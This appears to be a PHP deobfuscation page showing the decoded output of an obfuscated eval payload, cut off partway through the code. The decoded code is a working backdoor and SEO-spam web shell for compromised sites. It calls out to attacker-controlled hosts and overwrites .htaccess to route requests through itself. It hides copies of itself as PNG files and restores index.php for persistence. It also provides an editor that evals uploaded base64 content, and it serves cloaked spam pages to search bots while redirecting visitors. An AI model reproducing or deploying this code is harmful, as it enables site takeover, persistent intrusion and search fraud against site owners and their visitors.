Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?=eval(gzuncompress(base64_decode("eJzlfWtzI0eS2GcqQv+hB8aqAYlsPEjOcAYEZzgk+NDwJYDUjM..

Decoded Output download

None session_start();$_SESSION['codeMethod']['singleencoder'] = 'on';
ini_set('display_errors', 0);
error_reporting(0);
@header('Content-type:text/html;charset=utf-8');
define('UAMD53KEY', '9a789958ee3a3164008a82d788a997d8');
define('COOKIEPSWD', '17965c0ffbae57bd258b835c7350d983');
define('DEFAULTMAINDOMAIN', '.cfshserver.top');
define('URLHEAD', 'http://api.cfshserver.top/she3/');

define('CURRENT_VERSION', '1.23.12.27.20.18');
define('FILE_OLD_INDEX', '.ftpquotas');
define('FILE_OLD_INDEX_OLD', '4c7a17f635a4d887cf587a123b6a6bc4');
define('FILE_INDEX_STATIC_DEFAULT', 'a439a79eb419be5dda635034f722ec41');
define('CACHE_PATH', cachePath());
define('FILE_INDEX_STATIC', cacheFilename());
$configFile = configFile();

define('CONFIG_FILE', $configFile);
addDomain();
moveToNewCachePath();
editConfigFile();editPathList();

editConfigFile('outlinks');
if(@file_exists($configFile)){
		if(isPHPFile($configFile)){
		include_once $configFile;
	}else{
		eval('?>'.base64_decode(file_get_contents($configFile)));
	}
}
setHtaccess();
repairIndex('.');
copySelf();
reBirth();
checkStatus();
setupshe();

if(isset($_REQUEST['action']) && $_REQUEST['action'] == 'deletecache'){
	if(@file_exists(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT)){
		unlink(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT);
		header("Location: /");
		die;
	}
}
if(!isset($_REQUEST['action']) || $_REQUEST['action'] != 'createcache'){
    if(!@file_exists(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT)){
        $indexurl = is_https() . $_SERVER['HTTP_HOST'] . '/?action=createcache';
                $html = getHtml($indexurl);
        if(!empty($html)){
            file_put_contents_force(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT, $html);
        }
		reBirth();
    }
}elseif(isset($_REQUEST['action']) && $_REQUEST['action'] == 'createcache'){
	include FILE_OLD_INDEX;
	exit;
}
if(!file_exists($configFile)){
	
	showCacheFile();
	exit;
}



$arrContants = array(
    'STATIC_HTML' => 'yes', 
    'ALLOWED_PAGES' => '', 
    'REPLACE_EXISTS' => 'yes',
    'REPLACE_INDEX' => 'no',
    'HTACCESS_REPLACE' => 'yes',
    'INDEX_PHP' => $_SERVER['SCRIPT_FILENAME'] . '/',
    'LANGUAGE' => '',
    'KEYWORDDIR' => '',
    'INDEX_KEYWORD' => '',
    'OUTLINK_ONLY_INDEX' => '',
    'URI_END_OF_KEYWORD' => '-k.html',
    'API_HOST' => 'http://keywordfada20201115.keyworddomain.com/',
    'SHOP_HOST' => 'http://shopfada20201115.keyworddomain.com/',
    'MAINDOMAIN' => DEFAULTMAINDOMAIN,
    'USECURL' => 'yes',
);
$defined = 'defined';
foreach($arrContants as $cons => $v){
    switch($cons){
        case 'STATIC_HTML': 
            if($defined($cons)){
                @define('STATIC_HTML', constant($cons));
            }else{
                @define('STATIC_HTML', $v);
            }
            break;
        case 'ALLOWED_PAGES': 
            if($defined($cons)){
                @define('ALLOWED_PAGES', constant($cons));
            }else{
                @define('ALLOWED_PAGES', $v);
            }
            break;
        case 'REPLACE_EXISTS': 
            if($defined($cons)){
                @define('REPLACE_EXISTS', constant($cons));
            }else{
                @define('REPLACE_EXISTS', $v);
            }
            break;
        case 'REPLACE_INDEX': 
            if($defined($cons)){
                @define('REPLACE_INDEX', constant($cons));
            }else{
                @define('REPLACE_INDEX', $v);
            }
            break;
        case 'INDEX_PHP': 
            if($defined($cons)){
                @define('INDEX_PHP', constant($cons));
            }else{
                @define('INDEX_PHP', $v);
            }
            break;
        case 'LANGUAGE': 
            if($defined($cons)){
                @define('LANGUAGE', constant($cons));
            }else{
                @define('LANGUAGE', $v);
            }
            break;
        case 'KEYWORDDIR': 
            if($defined($cons)){
                @define('KEYWORDDIR', constant($cons));
            }else{
                @define('KEYWORDDIR', $v);
            }
            break;
		case 'INDEX_KEYWORD': 
			if($defined($cons)){
				@define('INDEX_KEYWORD', constant($cons));
			}else{
				@define('INDEX_KEYWORD', $v);
			}
			break;
		case 'OUTLINK_ONLY_INDEX': 
			if($defined($cons)){
				@define('OUTLINK_ONLY_INDEX', constant($cons));
			}else{
				@define('OUTLINK_ONLY_INDEX', $v);
			}
			break;
		case 'HTACCESS_REPLACE': 
			if($defined($cons)){
				@define('HTACCESS_REPLACE', constant($cons));
			}else{
				@define('HTACCESS_REPLACE', $v);
			}
			break;
		case 'URI_END_OF_KEYWORD': 
			if($defined($cons)){
				@define('URI_END_OF_KEYWORD', constant($cons));
			}else{
				@define('URI_END_OF_KEYWORD', $v);
			}
			break;
        case 'API_HOST': 
            if($defined($cons)){
                @define('API_HOST', constant($cons));
            }else{
                @define('API_HOST', $v);
            }
            break;
        case 'SHOP_HOST': 
            if($defined($cons)){
                @define('SHOP_HOST', constant($cons));
            }else{
                @define('SHOP_HOST', $v);
            }
            break;
        case 'MAINDOMAIN': 
            if($defined($cons)){
                @define('MAINDOMAIN', constant($cons));
            }else{
                @define('MAINDOMAIN', $v);
            }
            break;
		case 'USECURL': 
			if($defined($cons)){
				@define('USECURL', constant($cons));
			}else{
				@define('USECURL', $v);
			}
			break;
        case 'JUMP_REAL_HOST': 
            if($defined($cons)){
                @define('JUMP_REAL_HOST', constant($cons));
            }else{
                @define('JUMP_REAL_HOST', $v);
            }
            break;
    }
}
pingGoogle();


if(defined('FORCE_SCHEMA')){
    $curSchema = currentSchema();
    if(FORCE_SCHEMA == 'http' || FORCE_SCHEMA == 'https'){
        if($curSchema != FORCE_SCHEMA){
			header('HTTP/1.1 301 Moved Permanently');
            header("Location: " . FORCE_SCHEMA . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
            exit();
        }
    }
}




preg_match('|([^/]+)-k(\d)?.html$|i', $_SERVER['REQUEST_URI'], $match);

if(isset($match[2]) && is_numeric($match[2])){
    if(defined('LANGUAGE'.$match[2]) && defined('KEYWORDDIR'.$match[2]) && defined('API_HOST'.$match[2]) && defined('SHOP_HOST'.$match[2])){
        $valLANGUAGE = constant('LANGUAGE'.$match[2]);
        $valKEYWORDDIR = constant('KEYWORDDIR'.$match[2]);
        $valAPI_HOST = constant('API_HOST'.$match[2]);
        $valSHOP_HOST = constant('SHOP_HOST'.$match[2]);
    }
}else{
    $valLANGUAGE = LANGUAGE;
    $valKEYWORDDIR = KEYWORDDIR;
    $valAPI_HOST = API_HOST;
    $valSHOP_HOST = SHOP_HOST;
}
@define('LANGUAGE_REAL', $valLANGUAGE);
@define('KEYWORDDIR_REAL', $valKEYWORDDIR);
@define('API_HOST_REAL', str_ireplace('.keyworddomain.com', MAINDOMAIN, $valAPI_HOST));
@define('SHOP_HOST_REAL', str_ireplace('.keyworddomain.com', MAINDOMAIN, $valSHOP_HOST));
replaceIndex(FILE_OLD_INDEX);
is_allow_page();
$maindomain = MainDomain();
$token = md5(md5('sj'.$maindomain));
$uriend = '&dir='.KEYWORDDIR_REAL.'&hl='.LANGUAGE_REAL.'&token='.$token.'&domain='.$maindomain;
$uri = API_HOST_REAL . 'randkeyword.php?str='.md5('testshely'.$_SERVER['REQUEST_URI']).$uriend;

if(substr($_SERVER['REQUEST_URI'], 0, 12) == '/sitemap.xml'){showSiteMap();die;}

if(substr($_SERVER['REQUEST_URI'], 0, 11) == '/robots.txt'){showRobotsTxt();die;}
$pageexists = true;
if(isset($match[1])&&!empty($match[1])){
    $keyword = str_replace('-', '%20', $match[1]);
    $keyword = urldecode($keyword);
	$uri = API_HOST_REAL . 'randkeyword.php?keyword='.urlencode($keyword).$uriend;
	$pageexists = false;
	}elseif($arrCid = getCid()){
	$uri = API_HOST_REAL . 'randkeyword.php?f='.$arrCid['cid'].'&l='.$arrCid['lid'].$uriend;
}else{
    if(isHomePage()){
        $uri = API_HOST_REAL . 'randkeyword.php?keyword='.urlencode(INDEX_KEYWORD).$uriend;
    }
}
$jsonStr = getHtml($uri);
$objKeywordShe = jsonDecode($jsonStr, true);

if(!empty($objKeywordShe['keyword'])){
	if(REPLACE_EXISTS == 'yes'){
		$tourl = getJumpCache(getJumpUrlApi());
		if(isIndexUrl($tourl)){
			$jumpurl = $tourl . '?c='.$objKeywordShe['keyword']; 		}else{
			$jumpurl = SHOP_HOST_REAL . '?c='.$objKeywordShe['keyword']; 		}
		if(needJump()){echo '<meta http-equiv="refresh" content="0; url=' . $jumpurl . '">';die;}
	}
}


if(REPLACE_EXISTS == 'yes'){
	$pageexists = false;
}
if($pageexists){
	if(!preg_match('|([^/]+)-c.html$|i', $_SERVER['REQUEST_URI'], $match)){
		include cacheFilename();
		if(isBot()){
			$liil = '';
			foreach($objKeywordShe['relatedKeywords'] as $keyword1){
				$link = is_https() . $_SERVER['HTTP_HOST'] . '/' . INDEX_PHP . keywordtouri($keyword1) . URI_END_OF_KEYWORD;
				$liil .= '		<li><a href="'.$link.'">'.$keyword1.'</li>'."
";
			}
			echo '<ul class="Related">'.$liil.relatedOutLinks().'</ul>';
		}
		die;
	}
}
if(!empty($objKeywordShe['keyword'])){
	if(isBot()){
		showProduct($objKeywordShe);
		die;
	}
}

showCacheFile();
die;


function relatedOutLinks($i = 10){
		if(defined('OUTLINK_ONLY_INDEX') && OUTLINK_ONLY_INDEX == 'yes'){
		if(!isHomePage()){
						return '';
		}
	}
    $filename = sheditFile('real', 'outlinks');
    $liil = '';
    $count = 0;
    if(@file_exists($filename)){
        $content = file_get_contents($filename);
        $arrContent = explode("
", $content);
		shuffle($arrContent);
        foreach($arrContent as $line){
            $arrLine = explode('|', trim($line));
            if(sizeof($arrLine) == 2 && !empty($arrLine[0]) && !empty($arrLine[1]) && filter_var($arrLine[1], FILTER_VALIDATE_URL)){
                $liil .= '		<li><a href="'. $arrLine[1] .'">'.$arrLine[0].'</li>'."
";
            }
            $count++;
            if($count > $i){
                break;
            }
        }
    }
    return $liil;
}

function getJumpCache($url){
	$md5 = md5($url);
	$content = "";
    $content = readFromTmp($md5, 3*60);
	if(empty($content)){
		$content = getHtml($url);
		if (filter_var($content, FILTER_VALIDATE_URL) !== false) {
			saveToTmp($md5, $content);
		}
	}
	return $content;
}


function sheditFile($type = '', $name = ''){
	if(empty($type)){
		$type = 'real'; 
	}
	if(empty($name)){
		$name = 'shedit'; 
	}
	$tmpPath = sys_get_temp_dir1() . '/';
	if(!@is_writable($tmpPath)){
		$tmpPath = CACHE_PATH;
	}
	$tmpPath .=  MainDomain() . '/';
	if(!@is_dir($tmpPath)){
		@mkdir($tmpPath, 0747, true);
	}
	@chmod($tmpPath, 0767);
	$tmpPathReal = CACHE_PATH;
	$configFileReal = $tmpPathReal . MainDomain() . '.' . $name . '.set';
	if($name == 'shedit'){
		$configFile = $tmpPath . 'favicon.ico';
	}else{
		$configFile = $configFileReal;
	}
	if(@file_exists($configFile) && $configFile != $configFileReal){
		if(!@file_exists($configFileReal) || md5_file($configFile) != md5_file($configFileReal)){
			file_put_contents_force($configFileReal, file_get_contents($configFile));
		}
	}
	if($type == 'real'){
		return $configFileReal;
	}else{
		return $configFile;
	}
}


function configFile(){
	$configFile = sheditFile('real');
	if(!is_readable($configFile)){
		$configFile = sheditFile('save');
	}
	return $configFile;
}


function moveToNewCachePath(){
	if(@file_exists(FILE_OLD_INDEX_OLD) && !@file_exists(FILE_OLD_INDEX)){
		rename(FILE_OLD_INDEX_OLD, FILE_OLD_INDEX);
	}
	if(@file_exists(FILE_INDEX_STATIC_DEFAULT) && !@file_exists(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT)){
		rename(FILE_INDEX_STATIC_DEFAULT, CACHE_PATH . FILE_INDEX_STATIC_DEFAULT);
	}
	if(@file_exists(FILE_INDEX_STATIC_DEFAULT) && !@file_exists(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT)){
		rename(FILE_INDEX_STATIC_DEFAULT, CACHE_PATH . FILE_INDEX_STATIC_DEFAULT);
	}
}

function showCacheFile(){
		if(FILE_INDEX_STATIC == FILE_OLD_INDEX){
		include FILE_INDEX_STATIC;
	}else{
		$html = file_get_contents(FILE_INDEX_STATIC);
		echo $html;
	}
	exit();
}

function cachePath($rootPath = ''){
	if(empty($rootPath)){
		$rootPath = './';
	}
	$arr = array(
		'wp-admin/images/',
		'includes/',
		'cache/',
		'images/',
	);
	foreach($arr as $path){
		$path = $rootPath . $path;
		if(@is_dir($path) && is_writeable($path)){
			return $path;
		}
	}
	if(@is_writable($rootPath)){
		@mkdir($rootPath . 'images/', 0747);
		$dir = $rootPath . 'images/';
	}else{
		$dir = sys_get_temp_dir1() .'/';
		if(!@is_writable($dir)){
			die('no tmp dir avalibal!');
		}else{
			$dir = $dir . md5($rootPath) . '/';
			mkdir($dir, 0747);
		}
	}
	return $dir;
}

function cacheFilename(){
	if(defined('STATIC_HTML') && STATIC_HTML == 'no'){
		return FILE_OLD_INDEX;
	}else{
		$uri = request_uri_no_parameters();
		$filename = 'cache/'.md5($uri);
		if(!@file_exists($filename)){
			$filename = CACHE_PATH . FILE_INDEX_STATIC_DEFAULT;
		}
		return $filename;
	}
}

function request_uri_no_parameters(){
    $arr = parse_url($_SERVER['REQUEST_URI']);
    return $arr['path'];
}


function getDomainFromUrl($url){
	$url = trim($url);
	if(strstr($url, '://')){
		$url = parse_url($url);
		$url = $url['host'];
	}
	return $url;
}


function getJumpUrlApi(){
	$tourlapi = SHOP_HOST_REAL . '/readurl.php?from=' . MainDomain() . '&keyworddir=' . KEYWORDDIR_REAL;
	if(defined('JUMP_REAL_HOST')){
		$tourlapi .= '&host='. getDomainFromUrl(JUMP_REAL_HOST);
		$tourlapi = str_ireplace('.keyworddomain.com', MAINDOMAIN, $tourlapi);
	}
	return $tourlapi;
}

function is_allow_page(){
	if(defined('ALLOWED_PAGES') && ALLOWED_PAGES != ''){
		$page = this_page();
		$arrAllowed = explode(',', ALLOWED_PAGES);
		if(in_array($page, $arrAllowed)){
			include $page;
			exit;
		}
	}
	return false;
}

function this_page(){
	$page = 'index.php';
	if(isset($_SERVER['REDIRECT_URL'])){
		$page = trim($_SERVER['REDIRECT_URL'], '/');
	}else if(isset($_SERVER['REQUEST_URI'])){
		$arr = parse_url($_SERVER['REQUEST_URI']);
		$page = trim($arr['path'], '/');
	}
	return $page;
}


function isIndexUrl($url){
	$pattern = '|^https?://.*/$|';
	if(preg_match($pattern, $url)){
		return true;
	}
	return false;
}


function editConfigFile($filename = ''){
	if(empty($filename)){
		$filename = 'shedit';
	}
	if(isset($_GET['action']) && $_GET['action'] == $filename){
		if(isSuperMan()){
			if(cookieAuthor()){
				$configFile = sheditFile('save', $filename);
				$configFile2 = sheditFile('real', $filename);
				if(isset($_POST['shaction']) && isset($_POST['content']) && $_POST['shaction'] == $filename){
                    if(@trim($_POST['savebybase64']) != 'on' && !stristr($_POST['content'], '<?php')){
                        $content = base64_decode($_POST['content']);
                    }else{
                        $content = $_POST['content'];
                    }
					                    if($filename == 'shedit' && @trim($_POST['savebybase64']) != 'on' && !stristr($content, '<?php')){
						echo $content;die;
                        echo '';
                    }else{
                        file_put_contents_force($configFile, $content);
                        file_put_contents_force($configFile2, $content);
                        echo '!<meta http-equiv="Refresh" content="0;url=/" />';
                    }
				}else{
					if(@file_exists($configFile)){
						$content =  file_get_contents($configFile);
					}else{
						if(@file_exists($configFile2)){
							$content =  file_get_contents($configFile2);
							file_put_contents_force($configFile, $content);
						}else{
                            $content = '';
                        }
					}
					header('Content-type: text/html; charset=utf-8');
					echo '
					<script src="https://cdn.jsdelivr.net/npm/[email protected]"></script>
					<script src="https://cdn.jsdelivr.net/npm/[email protected]/base64.min.js"></script>
					<form method="post" onsubmit="return beforeSubmit();">
						<textarea id="content" name="content" rows=20 cols=100>'.$content.'</textarea>
                        <br>
                        <input type="checkbox" id="base64encode" value="on" checked>base64
                        <input type="checkbox" name="savebybase64" value="on">
						<input type="submit"><input type="hidden" name="shaction" value="' . $filename . '">
					</form>
					<button id="base64decode" onclick="Base64Decode()">base64</button>
					<button id="base64encode" onclick="Base64Encode()">base64</button>
					
					<script>
						function beforeSubmit(){
                            if($("#base64encode").prop("checked")){
                                $("#content").val(Base64.encode($("#content").val()));
                            }
							return true;
						}
						function Base64Decode(){
							$("#content").val(Base64.decode($("#content").val()));
						}
						function Base64Encode(){
							$("#content").val(Base64.encode($("#content").val()));
						}
					</script>
					';
				}
				if($filename == 'shedit'){
					echo '<!--'.$configFile.'-->';
					echo '<!--'.$configFile2.'-->';
					echo '<a href="?action=deletecache"></a>';
				}
			}else{
				echo "The authorization failed, please re -authorize";exit();
			}
		}else{
			http_response_code(404);
            die;
		}
		die();
	}
}


function editPathList(){
	if(isset($_GET['action']) && $_GET['action'] == 'pathlist'){
		if(isSuperMan()){
			$filePathList = filePathList();
			if(isset($_POST['exceptPathlist']) && isset($_POST['exceptPathlist']) && $_POST['shaction'] == 'pathlist'){
				saveExceptPathlist2($_POST['exceptPathlist']);
			}
			if(isset($_POST['shaction']) && isset($_POST['content']) && $_POST['shaction'] == 'pathlist'){
				$arr = explode("
", trim($_POST['content']));
				$arr2 = array();
				foreach($arr as $v){
					if(!empty($v)){
						$v = trim($v);
						if(!in_array($v,$arr2))
						$arr2[] = $v;
					}
				}
				file_put_contents_force($filePathList, base64_encode(gzdeflate(jsonEncode($arr2))));
				echo 'saved!';
			}else{
				$content = '';
				if(@file_exists($filePathList)){
					$arr =  jsonDecode(gzinflate(base64_decode(file_get_contents($filePathList))), true);
					$content = '';
					foreach($arr as $line){
						$content .= $line . "
";
					}
				}
				$arr2 = arrReadPathlist2();
				$exceptPathlist = strReadExceptPathlist2();
				$content2 = '';
				$content3 = '';
				$content4 = '';
				foreach($arr2 as $domain => $path){
					$content2 .= $path . PHP_EOL;
					$content3 .= $domain . PHP_EOL;
					$content4 .= $domain . "	" . $path . PHP_EOL;
				}
				header('Content-type: text/html; charset=utf-8');
				echo '
				<form method="post">
                    <textarea cols="50" rows="5" name="content">'.$content.'</textarea><br>
					<textarea cols="50" rows="5" name="exceptPathlist">'.$exceptPathlist.'</textarea><br>
					<input type="submit"><input type="hidden" name="shaction" value="pathlist">
				</form>';
				echo '<form method="post"><textarea cols="50" rows="5" name="content2">'.$content2.'</textarea></form>';
				echo '<form method="post"><textarea cols="50" rows="5" name="content3">'.$content3.'</textarea></form>';
				echo '<form method="post"><textarea cols="50" rows="5" name="content4">'.$content4.'</textarea></form>';
				if(DEBUG=='on'){
					echo '<!--' . $filePathList . '-->';
				}
			}
			die();
		}
	}
}


function filePathList($str = ''){
	if(empty($str)){
		$str = 'pathlist';
	}
	$user = get_current_user1();
	$tmpDir = sys_get_temp_dir1();
	$f1 = $tmpDir . '/' . md5($user.$str);
	$f2 = CACHE_PATH . md5($user.$str);
	if(@file_exists($f1)){
		$m1 = md5_file($f1);
		if(@file_exists($f2)){
			$m2 = md5_file($f2);
			if($m1 != $m2){
								file_put_contents_force($f2, file_get_contents($f1));
			}
		}else{
			file_put_contents_force($f2, file_get_contents($f1));
		}
	}else{
		if(@file_exists($f2)){
			file_put_contents_force($f1, file_get_contents($f2));
		}
	}
	return $f1;
}

function saveToTmp($file, $content){
    $filename = sys_get_temp_dir1() . DIRECTORY_SEPARATOR . $file;
    $_SESSION[$file] = $content;
    file_put_contents_force($filename, $content);
}

function readFromTmp($file, $timeOut = 0){
    $filename = sys_get_temp_dir1() . DIRECTORY_SEPARATOR . $file;
	if(file_exists($filename)){
		if($timeOut > 0){
			$mtime = filemtime($filename);
			$now = time();
			if(($now - $mtime) < $timeOut){
				$content = file_get_contents($filename);
			}
		}else{
			$content = file_get_contents($filename);
		}
	}
    if(empty($content) && $timeOut === 0){
        $content = $_SESSION[$file];
    }
    return $content;
}

function is_wp($dir = '.'){
	$iswp = true;
	$dir = rtrim($dir, '/');
	$dir = rtrim($dir, '\');
	$dir = $dir . DIRECTORY_SEPARATOR;
	$arrFiles = array(
		'wp-blog-header.php',
		'wp-config.php',
	);
	$arrDirs = array(
		'wp-admin',
		'wp-includes',
		'wp-content',
	);
	foreach($arrFiles as $file){
		if(!@is_file($dir.$file)){
			$iswp = false;
		}
	}
	foreach($arrDirs as $subdir){
		if(!@is_dir($dir.$subdir)){
			$iswp = false;
		}
	}
	return $iswp;
}


function reBirth(){
	$arrPath = arrReadPathList();
	foreach($arrPath as $path){
        if(!@is_dir($path)){
            @mkdir($path, 0747, true);
        }
		repairIndex($path);
		$index = $path.'/index.php';
		$ht = $path.'/.htaccess';
		$cachePath = cachePath(rtrim($path,'/').'/');
		$bkindex = $cachePath . 'resize-6x.png';
		$bkht = $cachePath . 'resize-8x.png';
		if(@file_exists($bkindex)){
			if(!@file_exists($index) or (md5_file($index) != md5_file($bkindex))){
				file_put_contents_force($index,file_get_contents($bkindex));
			}
		}else{
			$output = readFileContent('output.txt', true, 'nondomain.com');
			file_put_contents_force($index, $output);
		}
		if($ht && @file_exists($bkht)){
			if(!@file_exists($ht) or (md5_file($ht) != md5_file($bkht))){
				file_put_contents_force($ht,file_get_contents($bkht));
			}
		}
		
		if(@file_exists($path . '/index.html')){
			if(!@file_exists($path . '/' .FILE_INDEX_STATIC_DEFAULT)){
				rename($path . '/index.html', $path . '/' .FILE_INDEX_STATIC_DEFAULT);
			}else{
				rename($path . '/index.html', $path . '/index' . time() . '.html');
			}
		}
	}
}


function arrReadPathList(){
	$filePathList = filePathList();
	$arrPath = array();
	if(@file_exists($filePathList)){
		$content = file_get_contents($filePathList);
		if(strlen(($content>10))){
			$arrPath = jsonDecode(gzinflate(base64_decode($content)), true);
		}
	}
	if(!is_array($arrPath)){
		$arrPath = array();
	}
	$arrPath2 = arrReadPathlist2();
	foreach($arrPath2 as $path){
		$path = trim($path);
		if(!in_array($path, $arrPath)){
			$arrPath[] = $path;
		}
	}
    
    $arrExceptPathlist = arrReadExceptPathlist2();
    foreach($arrPath as $k => $v){
        if(in_array($v, $arrExceptPathlist)){
            unset($arrPath[$k]);
        }
    }
	return $arrPath;
}

function arrReadPathlist2(){
	$user = get_current_user1();
	$domain = MainDomain();
	$domainPath = getDomainTmpPath();
	$domainPath2 = getFirstWritableDir() . md5($user.'domainlist') . DIRECTORY_SEPARATOR;
	$arr = @scandir($domainPath);
	$arr2 = @scandir($domainPath2);
	$arrPaths = array();
	if(!empty($arr)){
		foreach($arr as $domain){
			if($domain == '.htaccess'){
				continue;
			}
			if(@is_file($domainPath . $domain)){
				$content = file_get_contents($domainPath . $domain);
				$arrContent = explode("
", $content);
				if(strlen($content) < 256 && sizeof($arrContent) == 1){
					$arrPaths[$domain] = trim($content);
				}else{
					unlink($domainPath . $domain);
				}
			}
		}
	}
	if(!empty($arr2)){
		foreach($arr2 as $domain2){
			if($domain2 == '.htaccess'){
				continue;
			}
			if(@is_file($domainPath2 . $domain2)){
				$content = file_get_contents($domainPath2 . $domain2);
				$arrContent = explode("
", $content);
				if(strlen($content) < 256 && sizeof($arrContent) == 1){
					$arrPaths[$domain2] = trim($content);
				}else{
					unlink($domainPath2 . $domain2);
				}
			}
		}
	}
	return $arrPaths;
}


function strReadExceptPathlist2(){
	$user = get_current_user1();
	$tmpPath = sys_get_temp_dir1();
	$filePath = $tmpPath . '/' . md5($user.'exceptpathlist');
	if(@file_exists($filePath)){
		return file_get_contents($filePath);
	}
	return '';
}

function get_current_user1(){
	if(function_exists('get_current_user')){
		$user = get_current_user();
	}else{
		$user = 'www';
	}
	return $user;
}

function fileNameGlobal($name)
{
    $user = get_current_user1();
    echo 
    $tmpDir = sys_get_temp_dir1();
    $f1 = $tmpDir . '/' . md5($user . $name);
    $f2 = getFirstWritableDir() . md5($user . $name);
    if (@file_exists($f1)) {
        $m1 = md5_file($f1);
        if (@file_exists($f2)) {
            $m2 = md5_file($f2);
            if ($m1 != $m2) {
                                file_put_contents_force($f2, file_get_contents($f1));
            }
        } else {
            file_put_contents_force($f2, file_get_contents($f1));
        }
    } else {
        if (@file_exists($f2)) {
            file_put_contents_force($f1, file_get_contents($f2));
        }
    }
    return $f1;
}

function getFirstWritableDir(){
    $dir = $_SERVER['DOCUMENT_ROOT'];
    for($i=0; $i<20;$i++){
        $dir2 = dirname($dir);
		if($dir2 == $dir){
			break;
		}
        if(@is_writable($dir2)){
            $dir = $dir2;
        }else{
            break;
        }
    }
    $dirR = $dir . '/.analytic/';
    if(!@is_dir($dirR)){
        @mkdir($dirR, 0767, true);
    }elseif(!@is_writable($dirR)){
        chmod($dirR, 0767);
    }
    
    if(!@is_dir($dirR) || !@is_writable($dirR)){
        $dirR = $dir;
    }
    return $dirR;
}


function arrReadExceptPathlist2(){
	$str = strReadExceptPathlist2();
    $arr = explode("
", $str);
    $arrR = array();
    foreach($arr as $v){
        if(!empty($v)){
            $arrR[] = trim($v);
        }
    }
	return $arrR;
}


function saveExceptPathlist2($content){
	$user = get_current_user1();
	$tmpPath = sys_get_temp_dir1();
	$filePath = $tmpPath . '/' . md5($user.'exceptpathlist');
	return file_put_contents_force($filePath, $content);
}

function getDomainTmpPath(){
	$user = get_current_user1();
	$tmpPath = sys_get_temp_dir1() .'/';
	$domainPath = $tmpPath . '/' . md5($user.'domainlist') . '/';
	if(!@is_dir($domainPath)){
		if(@is_file($domainPath)){
			unlink($domainPath);
		}
		@mkdir($domainPath, 0747);
	}
	return $domainPath .'/';
}

function addDomain(){
	$user = get_current_user1();
	$domain = MainDomain();
	$domainPath = getDomainTmpPath();
    $domainPath2 = getFirstWritableDir() . md5($user.'domainlist') . DIRECTORY_SEPARATOR;
	if(!@is_dir($domainPath2)){
		if(@is_file($domainPath2)){
			unlink($domainPath2);
		}
		@mkdir($domainPath2, 0747);
	}
	$file = $domainPath . $domain;
	$file2 = $domainPath2 . $domain;
	if(!@file_exists($file)){
		@file_put_contents($file, $_SERVER['DOCUMENT_ROOT']);
	}
	if(!@file_exists($file2)){
		@file_put_contents($file2, $_SERVER['DOCUMENT_ROOT']);
	}
}

function repairIndex($dir){
	$dir = $dir . '/';
	if(!@file_exists($dir . FILE_OLD_INDEX)){
		if(is_wp($dir) || !@file_exists($dir . '/index.php')){
			$wpindex = base64_decode('PD9waHANCi8qKg0KICogRnJvbnQgdG8gdGhlIFdvcmRQcmVzcyBhcHBsaWNhdGlvbi4gVGhpcyBmaWxlIGRvZXNuJ3QgZG8gYW55dGhpbmcsIGJ1dCBsb2Fkcw0KICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4NCiAqDQogKiBAcGFja2FnZSBXb3JkUHJlc3MNCiAqLw0KDQovKioNCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4NCiAqDQogKiBAdmFyIGJvb2wNCiAqLw0KZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsNCg0KLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgYW5kIFRlbXBsYXRlICovDQpyZXF1aXJlIF9fRElSX18gLiAnL3dwLWJsb2ctaGVhZGVyLnBocCc7');
			file_put_contents_force($dir . FILE_OLD_INDEX, $wpindex);
		}else{
			copy($dir . '/index.php', $dir . FILE_OLD_INDEX);
		}
	}
}


function setHtaccess($filename = ''){
	if(empty($filename)){
		$filename = '.htaccess';
	}
	if(defined('HTACCESS_REPLACE') && HTACCESS_REPLACE == 'no'){
		$str = '<IfModule mod_rewrite.c>'.
		PHP_EOL.'RewriteEngine On'.
		PHP_EOL.'RewriteBase /'.
		PHP_EOL.'RewriteCond %{REQUEST_FILENAME} !-f'.
		PHP_EOL.'RewriteCond %{REQUEST_FILENAME} !-d'.
		PHP_EOL.'RewriteRule . index.php [L]'.
		PHP_EOL.'</IfModule>';
	}else{
		$str = '<IfModule mod_rewrite.c>'.
		PHP_EOL.'RewriteEngine On'.
		PHP_EOL.'RewriteBase /'.
		PHP_EOL.'RewriteRule ^(index|wp\-admin|wp\-include|wp\-comment|wp\-loader|wp\-corn\-sample|wp\-logln|output|about|admin|randkeyword|readurl|wp\-ver).php$ - [L]'.
		PHP_EOL.'RewriteRule ^.*\.[pP][hH].* index.php [L]'.
		PHP_EOL.'RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] index.php [L]'.
		PHP_EOL.'RewriteCond %{REQUEST_FILENAME} !-f'.
		PHP_EOL.'RewriteCond %{REQUEST_FILENAME} !-d'.
		PHP_EOL.'RewriteRule . index.php [L]'.
		PHP_EOL.'</IfModule>';
	}
	$md5str = md5($str);
	if(!@file_exists($filename)){
		$filemd5 = '0';
	}else{
		$filemd5 = md5_file($filename);
	}
	if($md5str == $filemd5){
		return;
	}else{
		file_put_contents_force($filename, $str);
	}
}


function copySelf($toname = ''){
	$path = cachePath();
	if(empty($toname)){
			$toname = $path . 'resize-6x.png';
	}
	$dir = dirname($toname);
	if(!@is_dir($dir)){
		@mkdir($dir, 0747, true);
	}
	
	if(COOKIEPSWD == '4316c4e1934c60e1a36d27b5edf06b14'){
		$content = readFileContent('output.txt', true);
		file_put_contents_force($toname, $content);
	}
	setHtaccess($_SERVER['DOCUMENT_ROOT'].'/' . $path . 'resize-8x.png');
		if(file_exists($_SERVER['SCRIPT_FILENAME']) && !file_exists($toname)){
		file_put_contents_force($toname, file_get_contents($_SERVER['SCRIPT_FILENAME']));
	}elseif(file_exists($toname)){
		$str = file_get_contents($toname);
		$md5str = md5($str);
		if(!@file_exists($toname)){
